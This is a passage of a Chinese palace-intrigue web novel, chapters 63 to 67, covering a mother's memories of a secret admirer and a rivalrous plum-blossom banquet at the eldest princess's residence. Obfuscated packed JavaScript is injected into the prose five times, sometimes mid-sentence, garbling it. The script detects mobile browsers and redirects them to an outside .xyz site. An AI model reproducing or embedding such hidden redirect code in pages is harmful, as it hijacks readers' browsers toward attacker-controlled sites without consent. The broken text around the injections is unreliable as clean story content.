萧玉瑶的脸颊微红,纤细的手指不自觉地抚过裙摆上精致的刺绣。心中不由想起了那个人的身影—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505528|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萧煜若是看到自己这般打扮,会不会也觉得自己美若桃花? “公主这是想到吕小侯爷了?”小卉掩嘴轻笑,眼中闪烁着狡黠的光芒。“奴婢看您这几日挑选衣裳,都格外用心呢。” “再胡说,本公主让你掌嘴。”萧玉瑶佯怒道,玉手轻轻拍了一下小卉的额头。眼中却带着几分羞涩,连耳根都染上了一抹红晕。 屋内一时安静下来,只听得见窗外传来的鸟鸣声。萧玉瑶的神色忽然变得严肃,她走到门边,仔细查看四周无人,这才压低声音问道:“对了,本公主交代你的事情办得如何?” “公主放心。”小卉也收起了玩笑的神色,“长公主府那边的丫鬟已经安排妥当。只要事成,她便能带着银钱远走高飞。而且奴婢特意选了个心狠手辣的,保证不会留下把柄。” 萧玉瑶眼中闪过一丝得意,纤细的手指轻轻摩挲着桌上的玉如意。“很好,这次一定要让欧阳雅韵付出代价。她不是一直自诩清高吗?这次就让她在众人面前出丑。” 凤栖楼内,喧闹声不绝于耳。 柳映雪与萧寒瑾并肩而行,所过之处,众人的目光不由自主地追随。前者气质出尘,一袭白衣胜雪;后者风姿卓绝,玄色锦袍更显气度不凡。二人站在一起,宛如天造地设的一对。 萧寒瑾站在柳映雪身旁,目光如寒冰般刺向玉太子。 玉太子下意识地往后退了半步,喉结滚动,干笑两声:“本、本公子自己去住店就成。”说着拉起玉七的衣袖,脚步匆忙地朝对面客栈走去,活像被猛兽盯上的猎物。 青莲上前一步,对东玉琳做了个请的手势,嗓音温和:“公主,这边请。” 东玉琳向柳映雪微微颔首,眼中闪过一丝不舍:“多谢柳小姐方才相助。”她犹豫片刻,还是跟着青莲去了对面客栈。 柳映雪望着东玉琳远去的背影,眸光微动。她能感受到对方想要亲近的意图,但初次相见,对方的身份又颇为敏感,她不能贸然让任何人接近娘亲。 街道上行人渐稀。柳映雪余光一扫,察觉到某个方向传来若有若无的窥视感。与此同时,萧寒瑾也不着痕迹地朝那处看了一眼。两人默契地收回视线。 “雪儿,天色不早了。”萧寒瑾轻声道。 “好。”柳映雪点头,转身往新府邸走去。 第六十三章 母亲的往事 将柳映雪送到府邸后,萧寒瑾便匆匆离去。 他走后不久,客栈二楼的窗边,两道人影正悄然注视着这一切。待人群散尽,他们才将窗缝合上。 “小皇生,玉太子也住进来了。”暗卫低声禀报。 “嗯。”小皇生眯起眼,手指轻叩窗框,“刚才那位应该就是柳映雪了。” “属下觉得奇怪,这柳映雪哪像传闻中的病弱之人?她和摄政王同时发现了我们的存在。” “确实不简单。”小皇生冷笑,眼底闪过一丝阴鸷,“能在这种情况下察觉到我们,这份功力可不一般。” “要不要再派人去丞相府打探?说来奇怪,属下收买的几个丫鬟说法不一,问起柳大小姐和朱氏的事就支支吾吾。” “不必了。”小皇生眼中闪过一丝诡异,“打探来的未必是真相。瞧瞧吧,这位看似温柔娴静的柳大小姐,原来是个深藏不露的高手,把整个京都城**于股掌之间。” “那...” “派人暗中盯着就好,别靠太近,小心被发现。”小皇生站起身,负手而立,“赏兰宴的请帖拿到了吗?” “已经在手。” 小皇生露出阴冷的笑容:“很好,让司平试试这位柳大小姐的身手。我可不想让萧寒瑾多个帮手。” 另一边,柳映雪带着青莲、梅枝穿过几进院落。新府邸处处打扫得一尘不染,庭院里的梅树傲然绽放,暗香浮动。显然之前的主人很是爱惜这处院落。 想到司马澄,柳映雪心中升起几分好奇。她得找娘亲问问这个人。 终于在一处院子里找到了朱氏。朱氏正在修剪盆栽,听到脚步声回头,眼中满是温柔:“雪儿来了,大功告成,一切搞定了?” “嗯,娘亲用过午膳了吗?”柳映雪快步上前。 “用过了。”朱氏放下剪刀,拍了拍手上的泥土,“孙掌柜本想让店里送饭来,没想到你已经安排好了。” 柳映雪挽住朱氏的胳膊,轻声道:“娘亲为我付出更多。” 朱氏轻抚女儿的发,柔声道:“你可是娘的心头肉,娘愿意为你付出一切。” “娘亲,我想问您一件事。” “什么事?” “就是...司马澄的事。” 朱氏神色一怔,眼底闪过一丝复杂,随即苦笑:“都是年少时的往事了。” “我想听。” 朱氏拉着女儿往她的院落走去:“好,娘亲告诉你。” 进了温暖如晓的闺房,柳映雪帮朱氏解下披风,又给两人各倒了杯茶。朱氏望着窗外飘落的梅花,陷入回忆。 “司马澄与柳丞相年轻时是义兄弟。你外祖父与慕老爷子、上官老爷子是至交。他们约定,子嗣也要结为兄弟...”朱氏的声音渐渐低沉,“那时候,我刚及笄。” 柳映雪安静地听着。 “那时候我被关在闺房,实在无聊,就偷偷拿了你外祖父的账册来看。”朱氏的声音轻柔,带着追忆的味道,“起初只是觉得那些数字有趣,一笔一笔地记着,倒也打发时间。”朱氏的手指在茶盏上画着圈,“谁知这一看,竟让我着了迷。那些账目里藏着的门道,比诗词歌赋有意思多了。” 柳映雪看到母亲脸上浮现出一丝淡淡的笑意,那是她极少见到的神情。 “你外祖父发现后,不仅没有责骂我,反而开始指点我。”朱氏说到这里,语气中带着几分得意,“他说我有这个天赋,不该被埋没。” 朱氏的手突然一顿,眉间闪过一丝阴霾:“后来你外祖父在一次酒席上,不小心把这事说漏了嘴。当时在座的,除了柳老爷子,还有......”她的声音渐渐低了下去。 “还有谁?”柳映雪轻声问道。 “上官家的人。”朱氏深吸一口气,“就是从那时候开始的。” “开始什么?” “那些信。”朱氏放下茶盏,“每隔几日就会收到一封信,有时是一幅画,有时是一首诗。送信的小厮从不多言,只把信交给丫鬟就走。” 柳映雪眉头微蹙:“娘亲当时以为是柳昌泰送的?” “是啊。”朱氏自嘲地笑了笑,“那时候柳昌泰在外人眼里是个才子,整日读书写字。我就理所当然地认为是他。” “那些信写得很好?” 朱氏的目光变得柔和:“字迹工整,一笔一划都透着温柔。诗词优美,不是那种生搬硬套的句子,而是字字都像在说我。画作更是......”她顿了顿。 “直到成亲后,我才知道柳昌泰连最简单的竹子都画不好。”朱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505529|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 氏的声音带着几分讽刺,“他说他从来没给我写过信。” 柳映雪看着母亲的表情,小心翼翼地问:“那后来娘亲查到是谁送的信了吗?” “是司马澄。”朱氏的声音很轻,“在你假死的三那天,一个丫鬟认出送信的小厮是跟在司马澄身边的。” “那给娘亲传信的丫鬟呢?” 朱氏的眼中闪过一丝寒意:“一个突然暴毙,一个因犯错被发卖了。柳家的规矩,从来都是这么无情。” “娘亲,司马澄是个什么样的人?”柳映雪问。 朱氏的眼神忽然柔和了下来,仿佛回到了少年时光:“小时候,每次我做错事,都拉着他一起。结果每次挨打的都是他,哭的反而是我。” “他还会安慰我说:"语容不哭,等下我帮你拿点心。"”朱氏说到这里,嘴角不自觉地上扬,“他总是把最好的留给我。” “原来他的学识比柳昌泰还要好,只是一直藏着。”朱氏的声音带着几分惋惜,“诗词歌赋、琴棋书画,样样精通。” 柳映雪眨了眨眼:“因为娘亲说不喜欢书呆子?” 朱氏愣了一下,随即苦笑:“或许吧。不过这些都是过去的事了,现在说这些已经没有意义。”她的手指无意识地摩挲着茶盏边缘。 “娘亲,您后来见过司马澄吗?” “没有。”朱氏摇头,语气坚决,“嫁入柳府后,我直接斩断这段关系。你外祖父很有先见之明,让我把嫁妆都握在自己手里。” 柳映雪看着母亲的侧脸,想说什么,却又咽了回去。 外面传来丫鬟的声音:“小姐,该准备去赏兰宴了。” 朱氏站起身,整理了一下衣裳:“来,娘亲给你挑件衣裳。要得体,但不能太出众。” “娘亲放心,女儿心里有数。” 丫鬟们进来帮柳映雪梳妆打扮,朱氏站在一旁细细叮嘱:“今日宴会上会有不少人,你要多留心观察。特别是那些看似不经意的眼神和话语,都可能藏着深意。” “记住,不要轻易表态,也不要随意应承。如果有人问起家中事,就说不清楚。”朱氏的声音低沉,“今天去的人,有些是冲着你来的,有些是冲着柳家来的,还有些......”她顿了顿,“是冲着别的来的。” 第六十四章 去长公主府 柳映雪透过铜镜看向母亲:“娘亲是说,有人想借这个机会打探消息?” 朱氏点点头:“柳家最近的动向,很多人都在关注。你要记住,在没有十足把握之前,不要轻易相信任何人。” 马车缓缓驶向公主府,府门前已是车水马龙。各家的马车上都挂着家族的标识,彰显着身份的不同。小厮们有条不紊地引导着马车,检查着邀请贴。 进了府,丫鬟们将女眷引到澄心堂,男客则去了闻竹堂。庭院里的梅花正盛,香气四溢。 长公主端坐在上首,目光如水般流转,将下方的贵女们尽收眼底。窗外梅香袭人,庭院中几株老梅傲然绽放。 这些娇艳如花的小姐们三三两两聚在一起,或品茶,或赏梅,或低声交谈。茶香袅袅中,丝竹之声悠扬传来,为这场贵女雅集平添几分雍容。 四美之首的秦玉华正与人低声交谈,那份优雅从容尽显世家风范。她着一袭淡青色锦衣,发间点缀着几朵白玉梅花,举手投足间自有一番清雅气度。时不时抬手掩唇轻笑,更显得楚楚动人。 “柳姐姐说得极是。”苏国公嫡孙女卢芷柔坐在一旁附和道,“这梅花确实不及江南精致。”她身为皇后的侄女,举手投足间都透着一股贵气,说话时目光不经意扫过对面的空座,眼底闪过一丝不易察觉的轻蔑。 太尉府的欧阳雅韵则是端庄秀丽,与秦玉华相谈甚欢。她时而点头,时而轻笑,举止优雅大方。“说起江南的梅花,我倒想起一事。去年雪日,家父带我去江南游玩,那边的梅花确实别有一番韵味。” 长公主的目光落在柳书兰身上时微微一顿。这位丞相府的二小姐虽然依旧美貌,但脸上却有些许坑洼痕迹,即便施了厚重的妆容也难以完全遮掩。她低着头,似乎在刻意避开他人的目光,手中的帕子不停地揉搓着,显得局促不安。 镇国大将军府的孙灵秀倒是别具一格,这位喜欢舞刀弄枪的大小姐箭术了得,与其他闺秀形成鲜明对比。她穿着一身劲装,腰间还别着一把小巧的**,正在跟司尚书的嫡孙女司清雅说着什么,手舞足蹈地比划着。 “那日我在校场练箭,一箭就射中了靶心!”孙灵秀兴致勃勃地说道,眼中闪烁着骄傲的光芒。 司清雅捂嘴轻笑:“温婉妹妹果然厉害,不愧是将门之女。” 翰林学士褚大人的嫡孙女卫紫莹坐在一旁,默默地听着她们的谈话。作为褚贵妃的娘家侄女,她与丞公主是表姐妹,但性格却十分内敛。她低头抿了一口茶,目光不时瞥向门口,似乎也在等待着什么人的到来。 长公主看向左下首的二皇妹、三皇妹时,眉头不自觉地蹙起。这两位妹妹一个嫉妒心重,一个嚣张跋扈,实在让人头疼。小公主穿着一身华贵的凤纹锦袍,不停地用团扇掩面窃笑;丞公主则是一脸倨傲,眼神中带着几分不屑。 “皇姐,”小公主突然开口,指着对面的空位问道,“这个座位难道是专门给谁预留的吗?该不会是给那个死而复生的柳映雪吧?”她的语气中带着明显的嘲讽。 长公主端起茶盏,轻抿一口后放下:“二皇妹说笑了,那是给我们未来的九皇婶留的。” “什么九皇婶?”小公主撇嘴道,“不过是父皇下了道圣旨罢了,她还没嫁进摄政王府呢!说不定九皇叔根本就不会娶她。” 此言一出,室内气氛骤然凝固。众人纷纷低下头,假装没听到这番大逆不道的话。 长公主脸色一沉,放下茶盏时发出一声清脆的响声:“二皇妹慎言!这是父皇的圣旨,你这是在质疑父皇和九皇叔吗?若让他们知道了你今日的言论,后果不堪设想。” 小公主被吓得缩了缩脖子:“知道了,皇姐。”她低下头,手中的团扇却握得更紧了。 秦玉华见状立刻打圆场:“长公主莫要生气,小公主年纪尚小,说话难免欠考虑。今日大家来赏梅闲聊,说些玩笑话也是常有的事。”她说着,优雅地端起茶盏,眼底却闪过一丝不易察觉的算计。 “柳大小姐说得对。”欧阳雅韵附和道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505530|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “若有人把这等玩笑话传出去,那才是别有用心。”她说这话时,目光意有所指地扫过在座的几位小姐。 其他小姐们也纷纷点头称是,生怕被卷入这场风波中。室内的气氛渐渐缓和下来,但暗流涌动的感觉却愈发明显。 长公主的脸色这才缓和下来。她暗暗赞赏秦玉华的机敏,三皇弟的未来皇妃果然聪慧。不过想到那个迟迟未到的人,她心中又升起一丝不悦。 “长公主,”秦玉华温婉问道,“柳大小姐为何还未到?我还从未见过她呢。”她说这话时,眼中闪过一丝不易察觉的嫉恨。作为四大美人之首,她对这个突然出现的柳映雪颇有微词。 卢芷柔接话道:“听闻柳大小姐身子不好,或许是这个缘故耽搁了。”她说着,与秦玉华交换了一个意味深长的眼神。 “我大姐最近好得很!”柳书兰突然开口,声音中带着几分怨恨,“就在几天前,她还不顾一切地跑到丞相府闹腾离婚,把父亲和祖母都气病了。自从她死而复生后,性情大变,连长辈都不放在眼里了。”说着还擦了擦眼角,一副伤心欲绝的模样。 此言一出,众人面面相觑。柳映雪的传闻本就神秘,现在又听到这等惊人之语,顿时议论纷纷。有人窃窃私语,有人掩面轻笑,更有人露出幸灾乐祸的表情。 “死而复生?”孙灵秀忍不住问道,“这是什么意思?” 柳书兰咬了咬唇,似乎在犹豫要不要说下去。但在众人期待的目光中,她还是开了口:“大姐原本已经...已经去世了,可是突然又活了过来。而且性情大变,完全不像从前那个温柔贤淑的大姐了。” 这番话引起了更大的骚动。贵女们纷纷议论起来,有人说这是神迹,有人说这定是妖邪,更有人暗示柳映雪可能已经被什么东西附身。 长公主的脸色越发难看。她亲自派人送的请帖,柳映雪却迟迟不到,这是不给她这个公主面子吗?再加上现在传出这些不堪的流言,若是传到九皇叔耳中,怕是要惹出**烦。 第六十五章 初到赏梅宴 “柳二小姐这话说得可真有趣。”众人正小声讨论时,就听到柳映雪的声音传来。 柳映雪漫步走到门口,嘴角挂着一抹淡淡的笑意。阳光透过雕花窗棂洒落在她身上,为她镀上一层柔和的金边。她今日一袭淡青色长裙,腰间系着银丝绣线,更衬得她身姿婀娜,气质出尘。 “父亲和祖母是被我气病的?我倒是头一次听说。” 她迈着优雅的步子走进澄心堂,身后跟着两位气质不俗的闺秀。裙摆轻拂过地面,发出细微的沙沙声,仿佛在为她的到来奏响一曲优雅的乐章。 堂内众人的目光瞬间被她吸引。有人暗自惊叹,有人面露嫉妒,更有人低声议论。但这些目光和窃窃私语在柳映雪眼中,不过是微不足道的尘埃。 澄心堂内陈设雅致,檀香袅袅。几案上摆着精致的点心和香茗,茶香与檀香交织,营造出一派雍容华贵的氛围。 “我来时还看见父亲坐着马车外出,红光满面的,哪里像是病了的样子?”她的声音清冷悦耳,带着几分讥诮,“莫非柳二小姐的眼睛出了什么问题?” 二公主和三公主坐在上首,看着柳映雪的容貌,甚是嫉妒。她们虽贵为公主,却也不得不承认,眼前这位柳家大小姐确实美得惊人。那份从容淡定的气度,更是让人挑不出半点瑕疵。 堂内的气氛微妙地凝滞了一瞬。 柳映雪带着身后的李婉柔和李盼春走到长公主面前,福身行礼:“臣女拜见长公主殿下。”她的动作优雅得体,既不卑不亢,又不失恭敬。 李婉柔和李盼春也随即行礼。两人都是京城名门之女,举止投足间透着良好的教养。 “平身。”长公主淡淡开口,目光在柳映雪身上停留片刻,“快请入座。” 公主身边的丫鬟将柳映雪引到公主下首的位置。这个安排让在场众人诧异不已。要知道,这个位置往常都是留给最受宠的贵女的。 柳映雪微微挑眉,嘴角勾起一抹若有若无的笑意。长公主这是什么意思?是想给未来的摄政王妃一个体面,还是想让她在众目睽睽之下出丑? 不过这些都无所谓。 她优雅地落座,目光若有若无地扫过堂内众人。每个人的表情都被她尽收眼底:有人羡慕,有人嫉妒,有人疑惑,有人不屑。 特别是柳书兰那张完好无损的脸,更是引起了她的注意。 有意思。 这么短的时间内就恢复如初,看来是用了巫蛊之术。这个发现让柳映雪心中涌起一丝冷意,但面上依旧保持着优雅的微笑。 柳书兰被她盯得发毛,弱弱开口:“姐姐为何这样看着我?”她的声音带着几分颤抖,慌乱。 “我在想,柳二小姐是不是该为刚才的话道个歉?”柳映雪端起茶盏,轻轻吹了吹,“总不能让我背负个不孝女的名声吧?” 柳书兰立刻红了眼圈,楚楚可怜道:“姐姐,我说的都是事实啊。祖母确实是在你来府上那天病倒的...”她说着,还不忘用帕子轻轻擦拭眼角。 堂内的气氛顿时变得微妙起来。众人的目光在姐妹二人之间来回游移,似乎在等待着好戏上演。 “既然各执一词,”柳映雪放下茶盏,唇边挂着淡淡的笑意,“不如请摄政王的侍卫绿竹来作证?那天他和王爷都在场。” 此言一出,堂内众人神色各异。有人震惊,有人嫉妒,更多的是不敢置信。传言竟是真的?摄政王果然要娶这位柳大小姐了? 一时间,窃窃私语声此起彼伏。 “听说摄政王从不参与这些闺秀间的聚会...” “可那天他确实去了柳府...” “难道真的是为了柳大小姐?” 柳书兰脸色一白,再也说不出话来。她紧紧攥着手中的帕子,指节都泛出了白色。 长公主端着茶盏,垂眸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505531|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉思。她本想给这位从未参加过宫宴的柳大小姐一个下马威,看她能否应对得当。没想到这位柳大小姐不仅不怯场,反而处处占据上风。 有意思。 看来她那位九皇叔的眼光,确实不错。 宴会厅内觥筹交错,觥筹交错间,众人的目光齐刷刷地落在柳书兰的脸上。 烛光摇曳,映照着她那张梨花带雨的面容。泪珠顺着白皙的脸颊滑落,衬得那张精致的小脸更添几分我见犹怜。 作为名门闺秀,她们对付庶妹的手段可谓是炉火纯青。此刻柳书兰那副楚楚可怜的模样,在她们眼中简直是拙劣至极的表演。 觥筹交错间,丝竹之声悠扬,一曲《梅花三弄》正应景地飘荡在空气中。 柳映雪站在大厅中央,目光冷冷地扫过四周。她的手指无意识地摩挲着衣袖,眼底闪过一丝不易察觉的嘲讽。 这些养尊处优的贵女们,一个个都在等着看好戏。 唯有二公主,天真烂漫地看着这一切。她的视线不时落在柳映雪身上,眼底涌动着一股难以抑制的嫉妒。那张精致的小脸上,笑容天真无邪,却掩饰不住眼底的算计。 “柳大小姐,你何必咄咄逼人?”二公主撇了撇嘴,纤细的手指把玩着手中的团扇,“你瞧柳二小姐都要快哭了。九皇叔那么忙,怎会让贴身侍卫来为你作证?你实在是太自以为是了。” 话音刚落,周围响起一阵窃窃私语。有人掩嘴轻笑,有人暗自摇头,更多的人则是一脸看好戏的表情。 柳映雪闻言,嘴角勾起一抹冷笑。她的目光在二公主脸上停留片刻,露出不屑的神色。 青莲在一旁小声提醒:“小姐,这位是二公主。”她的声音很轻,带着几分担忧。 柳映雪微微颔首。这几日,青莲一直在研究绿竹送来的画像,就是为了避免今日得罪了不该得罪的人。但此刻,她已经顾不得那么多了。 第六十六章 据理力争 “二公主此言差矣。”柳映雪声音清冷,如同寒雪腊月的风,“哭泣并不代表有理。若今日我不辩明,日后岂不成了不孝女?我倒是无所谓,但摄政王的名声,我却不能不顾。” 她的话音刚落,秦玉华的脸色就变了。听到“摄政王”三个字,秦玉华恨恨看了一眼柳映雪,随即又恢复了往日的端庄。 秦玉华强压下内心的嫉妒,端庄优雅地说道:“柳大小姐说得太过了,二公主不过是心直口快。”她的声音温柔似水,却让人感觉不到半分温度。 柳映雪暗自冷笑。这就是传说中的四美之首?配得上萧寒瑾?简直可笑。 孙灵秀看不下去了,开口道:“柳大小姐,何必跟一个小屁孩计较?”她的声音带着几分劝解,却掩饰不住语气中的轻蔑。 青莲适时在柳映雪耳边低语:“这是镇国将军府的嫡女。” 柳映雪眸光一转,唇边挂着讥讽的笑意:“二公主与我年纪相仿,我常年病榻也知礼数。难道皇宫的教养嬷嬷,还不如丞相府的嬷嬷?” 此言一出,满堂哗然。众人的脸色都变了,有人倒吸一口凉气,有人则是一脸震惊。 三公主腾地站起,玉簪随着她剧烈的动作晃动,发出清脆的声响:“大胆柳映雪,你竟敢污蔑皇宫之人!”她的声音尖锐,带着几分怒意。 柳映雪不慌不忙,目光平静地看着三公主:“三公主误会了。我是担心,若皇宫教出的公主都如此直爽,只怕会给青云国招来祸端。诸位说是不是?” 她目光扫向那些看热闹的小姐们,眼底带着几分冷意。众人纷纷低头,不敢接话。空气中弥漫着一股诡异的寂静。 长公主见状,明白不能再装作无事。她放下手中的茶盏,杯盖与杯身相碰,发出清脆的声响。 “柳大小姐说得很有道理。”她淡淡开口,声音不疾不徐,“今天是赏花盛宴,不宜伤了和气。柳二小姐,还不快向大姐姐道歉?” 柳书兰不情不愿地道了歉,声音细若蚊蝇:“大姐姐,对不起。” 柳映雪却在心中冷笑。好一个长公主,明明是二公主无理,却让柳书兰背锅。皇室果然没一个好东西。 就在这时,外面传来一阵急促的脚步声。 丫鬟轻步走入厅内,裙裾摆动间带起一阵细微的窸窣声。她向长公主恭敬地行了一礼,声音轻柔:“驸马爷让奴婢来打听,女眷可都到齐了?观雪轩那边已经准备妥当。” 长公主原本慵懒地靠在软榻上,听闻此言立即坐直了身子,眼底漾起一丝期待:“告诉驸马,这边也准备好了,本公主这就带她们过去。”说着,她的目光扫过厅内众人。 闺秀们纷纷露出雀跃的神色,有人低声私语,有人掩唇轻笑,整个大厅顿时热闹起来。 “小姐。”青莲悄悄凑到柳映雪耳边,压低了声音,“奴婢听说观雪轩是公主府新扩建的,里面不仅有能容纳百人的宴客厅,还专门设了骑马射箭的场地。最特别的是,男女宾之间虽有屏风相隔,但那镂空的花纹却能让双方若隐若现。” 柳映雪微微颔首,纤细的手指无意识地摩挲着茶杯边缘。难怪这些闺秀如此兴奋,分明是想借机物色如意郎君。只是她对这种事并无兴趣,来此不过是给父亲一个交代罢了。 “你们先随丫鬟去观雪轩,本公主换身衣服马上就到。”长公主站起身,裙摆上的金线在烛光下闪烁着细碎的光芒。 众人起身行礼,等长公主走了之后,便迫不及待地往外走去。有人步履匆匆,生怕落在最后;有人故作矜持,却掩饰不住眼底的期待。 柳映雪不紧不慢地起身,看着那些步履匆匆的少女们,不禁暗自摇头。这些人年纪轻轻,怎么一个个都这般着急嫁人?她抬手整理了一下发髻,示意青莲跟上。 刚走出几步,就见李婉柔和她堂妹李盼春站在回廊下。李盼春一脸焦急,不停地拽着堂姐的衣袖, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505532|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 显然也迫不及待想去观雪轩。 “李小姐。”柳映雪向李婉柔打了个招呼。这位李家大小姐生得清秀温婉,举止端庄,倒是个难得的淑女。 “柳大小姐,我陪你一起走吧,你第一次来怕是不熟路。”李婉柔温声说道,眼中带着几分真诚。 “那就有劳了。” “别这么客气,你叫我婉柔就好。”李婉柔笑着说道,露出一排洁白的贝齿。 “好,你也直接叫我映雪吧。”柳映雪也难得露出一丝笑意。 李婉柔眼中闪过欣喜:“那咱们就算是朋友了。”她伸手挽住柳映雪的胳膊,亲昵地说道。 柳映雪看着她天真烂漫的样子,心中暗叹。这般单纯的性子,若是嫁入权贵之家,只怕会吃大亏。权势之争,尔虞我诈,不知这样的女子能否承受得住。 “姐姐,我们快些走吧,别让长公主等急了。”一旁的李盼春实在按捺不住,又开始催促。她的眼睛不停地往前方瞟,显然心早已飞到观雪轩去了。 “二小姐先去吧,我和婉柔慢慢走。”柳映雪淡淡道。这种场合,还是不要表现得太过急切为好。 李盼春得了准话,立刻带着丫鬟快步离去,裙摆飞扬,险些绊了一跤。 两人沿着抄手游廊慢慢前行,脚下是精心打磨的青石板,头顶是雕梁画栋。游廊两侧种着梅花,枝头零星点缀着几朵含苞待放的花骨朵,暗香浮动。 没走多远,又遇到了等在路边的卢芷柔。她倚在廊柱旁,手中把玩着一支白玉簪子,见到两人来了,这才收起簪子,款款走来。 “小姐,这是卢国室的嫡孙女,也是现在皇后的表妹。”青莲低声提醒。 卢芷柔面带微笑:“不如我们三人同行如何?这样也好说说话。” 柳映雪打量着她,这位卢小姐表面温婉,眼底却藏着精明。不知为何要刻意接近自己,不过只要她不轻举妄动,自己也懒得理会。 第六十七章 宴会开始 三人说说笑笑,终于到了观雪轩。厅内陈设考究,檀木雕花的桌椅错落有致地摆放着,墙上挂着名家的山水画。男女两厢以镂空屏风相隔,屏风上雕刻着梅花纹样,精致非常。 柳映雪依旧被安排在长公主下首,这个位置既显示了主人的重视,又能将整个大厅尽收眼底。她暗自观察着周围的人,有的坐立不安,有的故作矜持,有的则在偷偷打量屏风那边的情况。 不多时,长公主携驸马入内,满座宾客立即起身行礼。长公主换了一身暗红色的锦袍,更显得雍容华贵。驸马则一身月白色长袍,举止优雅,时不时为长公主布菜夹菜,两人举止亲密,看似恩爱非常。 “小姐,这位驸马爷可是出了名的痴情,当年长公主受伤后想给他纳妾,都被他拒绝了。”青莲又凑过来说道,“听说他每日都要亲自为长公主熬药,从不假手于人。” 柳映雪看着驸马为长公主细心整理披风的样子,总觉得这份体贴做作了些。那动作太过刻意,眼神也不够真诚。但这与她无关,今日她只是来凑个热闹罢了。 很快,丫鬟们便端着佳肴鱼贯而入。有的端着热气腾腾的汤羹,有的捧着精致的点心,还有的托着各色水果。待菜肴摆放妥当,长公主含笑宣布:“宴会开始。” 柳映雪却始终安静地坐在原位,偶尔与李婉柔低声交谈几句。她注意到卢芷柔总是若有似无地打量着自己,眼神中带着几分探究。这位卢小姐,怕是没安什么好心思。 柳映雪坐在席间,听到男宾那边传来驸马爷宣布宴会开始的声音。她微微抬眸,透过精致的屏风,隐约可见对面男宾席上衣冠楚楚的贵公子们。 “诸位贵女。”长公主端起酒杯,眼中闪烁着自豪的光芒。她身着一袭暗红色锦袍,头戴金钗,举手投足间尽显皇家风范,“这杯果子酒是父皇昨日赏赐给本公主的,滋味甘美,愿各位小姐能在今日的赏梅宴上寻得如意郎君。” 众位小姐闻言,纷纷羞涩低头,掩面轻笑。有几位胆大的小姐甚至偷偷往男宾席的方向瞄去,引得周围人掩嘴轻笑。 “不过,”长公主嘴角含笑,目光扫过在座的贵女们,“这果子酒虽甜美,但诸位可要适量,若是醉酒失态,本公主可不好交代。” 一番玩笑过后,宴会的气氛顿时活跃起来。小姐们三三两两低声交谈,欢声笑语不断。丫鬟们端着酒壶,穿梭在席间为贵女们斟酒。 柳映雪看着那些丫鬟排着队进进出出,不禁暗自腹诽:这么多规矩,直接让身边的丫鬟倒酒不就完了?她轻轻摇晃着手中的酒杯,琥珀色的液体在烛光下泛着诱人的光泽。 她轻轻嗅了嗅杯中酒香,眉头微不可察地皱了皱:这分明就是葡萄酒。想必长公主说的另一种,也不过是另一种水果酿的罢了。 正想着,她忽然察觉到一道灼热的目光。抬头望去,透过屏风的缝隙,她看到对面一个陌生男子正含笑看着自己。那人一身月白色锦袍,面容俊朗,眼神中带着几分玩味。 柳映雪冷冷地回视一眼,便收回目光。此时长公主已经举杯,她也跟着浅尝了一口。酒液入喉,果然如她所料,就是普通的葡萄酒。 男宾这边,驸马爷举止随和,与众位公子谈笑风生。三皇子安坐在驸马爷的下方,一身墨色锦袍衬得他愈发英气逼人。他面前坐着四皇子,右侧则是澄世子。 三皇子与澄世子默契地对视一眼,嘴角勾起一抹意味深长的笑容。澄世子端起酒杯,轻轻晃动。 